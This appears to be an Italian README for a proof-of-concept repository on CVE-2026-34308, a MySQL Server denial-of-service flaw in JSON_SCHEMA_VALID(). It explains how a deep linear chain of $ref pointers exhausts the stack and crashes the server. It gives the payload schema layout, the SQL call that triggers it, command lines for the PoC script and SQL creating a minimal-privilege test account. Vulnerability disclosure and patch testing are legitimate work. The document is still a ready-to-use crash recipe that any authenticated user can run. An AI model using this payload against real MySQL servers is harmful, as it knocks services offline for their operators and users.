
Proof-of-concept per CVE-2026-34308, una vulnerabilità denial-of-service del componente JSON di MySQL Server. Dimostra l'esaurimento dello stack tramite catene $ref profonde in JSON_SCHEMA_VALID(), causando il crash del server. Include script PoC in Python e analisi tecnica.
Bollettino ufficiale del vendor: Oracle Critical Patch Update Advisory — April 2026.
Vulnerabilità in Oracle MySQL Server (componente: Server: JSON).
Versioni interessate supportate: 8.0.0–8.0.45, 8.4.0–8.4.8 e 9.0.0–9.6.0.
La vulnerabilità consente a un utente con privilegi bassi di causare il crash del MySQL Server.
Punteggio base CVSS 3.1: 6.5 (solo impatti sulla disponibilità)
Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Meccanismo osservato: Ricorsione profonda durante la valutazione di JSON_SCHEMA_VALID() da parte di MySQL su uno JSON Schema che contiene una lunga catena lineare di puntatori $ref, senza un limite effettivo di profondità durante la compilazione/validazione dello schema—che porta all'esaurimento dello stack e a un blocco o a un crash ripetibile.
Catena di chiamate (concettuale):
Client SQL → JSON_SCHEMA_VALID(schema, instance)
→ validazione interna dello schema JSON → risoluzione ripetuta di $ref
→ esaurimento dello stack → blocco / crash
Per questo PoC, qualsiasi account MySQL autenticato è sufficiente: concedere solo USAGE su *.* (il privilegio minimo di MySQL—capacità di connettersi—senza SELECT, accesso alle tabelle o ruoli amministrativi). Se l'utente può aprire una sessione ed eseguire SELECT JSON_SCHEMA_VALID(...), può attivare la condizione.
poc_schema_dos.pyCostruisce uno JSON schema con una catena lineare di $ref (profondità di esempio 1200):
{
"$ref": "#/definitions/l0",
"definitions": {
"l0": {"$ref": "#/definitions/l1"},
"l1": {"$ref": "#/definitions/l2"},
...
"l1200": {"type": "string"}
}
}
Inviato a MySQL come: SELECT JSON_SCHEMA_VALID('<schema>', '"x"');
Nei test contro build vulnerabili, è stato osservato che causa il crash del server entro circa un secondo (i tempi esatti dipendono da hardware, flag di compilazione e profondità dello schema).
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
Per testare un account con privilegi bassi:
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
Poi: python3 poc_schema_dos.py --user test --password password
6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
poc_schema_dos.py: Script proof-of-conceptREADME.md: Questo file